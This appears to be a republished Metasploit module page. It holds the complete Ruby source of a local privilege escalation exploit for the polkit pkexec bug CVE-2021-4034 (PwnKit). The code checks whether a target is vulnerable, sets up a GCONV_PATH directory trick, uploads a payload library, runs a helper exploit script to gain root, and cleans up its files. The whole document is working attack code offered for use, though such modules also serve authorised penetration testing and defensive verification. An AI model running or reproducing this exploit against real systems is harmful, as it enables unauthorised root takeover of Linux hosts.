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This is a Metasploit module for the argument processing bug in the polkit pkexec binary. If the binary is provided with no arguments, it will continue to process environment variables as argument variables, but without any security checking. By using the execve call we can specify a null argument list and populate the proper environment variables. This exploit is architecture independent. Download: ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Local Privilege Escalation in polkits pkexec', 'Description' => %q{ A bug exists in the polkit pkexec binary in how it processes arguments. If the binary is provided with no arguments, it will continue to process environment variables as argument variables, but without any security checking. By using the execve call we can specify a null argument list and populate the proper environment variables. This exploit is architecture independent. }, 'License' => MSF_LICENSE, 'Author' => [ 'Qualys Security', # Original vulnerability discovery 'Andris Raugulis', # Exploit writeup and PoC 'Dhiraj Mishra', # Metasploit Module 'bwatters-r7' # Metasploit Module ], 'DisclosureDate' => '2022-01-25', 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'x86_64', { 'Arch' => [ ARCH_X64 ] } ], [ 'x86', { 'Arch' => [ ARCH_X86 ] } ], [ 'aarch64', { 'Arch' => [ ARCH_AARCH64 ] } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'Privileged' => true, 'References' => [ [ 'CVE', '2021-4034' ], [ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ], [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ], [ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference [ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions [ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ]) ]) register_advanced_options([ OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]), ]) end def on_new_session(new_session) # The directory the payload launches in gets deleted and breaks some commands # unless we change into a directory that exists super old_session = @session @session = new_session cd(datastore['FinalDir']) @session = old_session end def find_pkexec vprint_status('Locating pkexec...') if exists?(pkexec = cmd_exec('which pkexec')) vprint_status("Found pkexec here: #{pkexec}") return pkexec end return nil end def check # Is the arch supported? arch = kernel_hardware unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86') return CheckCode::Safe("System architecture #{arch} is not supported") end # check the binary pkexec_path = datastore['PKEXEC_PATH'] pkexec_path = find_pkexec if pkexec_path.empty? return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil? # we don't use the reported version, but it can help with troubleshooting version_output = cmd_exec("#{pkexec_path} --version") version_array = version_output.split(' ') if version_array.length > 2 pkexec_version = Rex::Version.new(version_array[2]) vprint_status("Found pkexec version #{pkexec_version}") end return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path) # Grab the package version if we can to help troubleshoot sysinfo = get_sysinfo begin if sysinfo[:distro] =~ /[dD]ebian/ vprint_status('Determined host os is Debian') package_data = cmd_exec('dpkg -s policykit-1') pulled_version = package_data.scan(/Version:\s(.*)/)[0][0] vprint_status("Polkit package version = #{pulled_version}") end if sysinfo[:distro] =~ /[uU]buntu/ vprint_status('Determined host os is Ubuntu') package_data = cmd_exec('dpkg -s policykit-1') pulled_version = package_data.scan(/Version:\s(.*)/)[0][0] vprint_status("Polkit package version = #{pulled_version}") end if sysinfo[:distro] =~ /[cC]entos/ vprint_status('Determined host os is CentOS') package_data = cmd_exec('rpm -qa | grep polkit') vprint_status("Polkit package version = #{package_data}") end rescue StandardError => e vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.") end if sysinfo[:distro] =~ /[fF]edora/ # Fedora should be supported, and it passes the check otherwise, but it just # does not seem to work. I am not sure why. I have tried with SeLinux disabled. return CheckCode::Safe('Fedora is not supported') end # run the exploit in check mode if everything looks right if run_exploit(true) return CheckCode::Vulnerable end return CheckCode::Safe('The target does not appear vulnerable') end def find_exec_program return 'python' if command_exists?('python') return 'python3' if command_exists?('python3') return nil end def run_exploit(check) if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end arch = kernel_hardware vprint_status("Detected architecture: #{arch}") if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch')) fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload') end pkexec_path = datastore['PKEXEC_PATH'] if pkexec_path.empty? pkexec_path = find_pkexec end python_binary = find_exec_program # Do we have the pkexec binary? if pkexec_path.nil? fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath' end # Do we have the python binary? if python_binary.nil? fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath' end unless writable? datastore['WRITABLE_DIR'] fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable" end local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}" working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}" mkdir(working_dir) register_dir_for_cleanup(working_dir) random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s @old_wd = pwd cd(working_dir) cmd_exec('mkdir -p GCONV_PATH=.') cmd_exec("touch GCONV_PATH=./#{random_string_1}") cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}") cmd_exec("mkdir -p #{random_string_1}") payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so" unless check upload_and_chmodx(payload_file.to_s, generate_payload_dll) register_file_for_cleanup(payload_file) end exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py')) register_file_for_cleanup(exploit_file) cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}" print_warning("Verify cleanup of #{working_dir}") vprint_status("Running #{cmd}") output = cmd_exec(cmd) # Return to the old working directory before we delete working_directory cd(@old_wd) cmd_exec("rm -rf #{working_dir}") vprint_status(output) unless output.empty? # Return proper value if we are using exploit-as-a-check if check return false if output.include?('pkexec --version') return true end end def exploit run_exploit(false) end end Source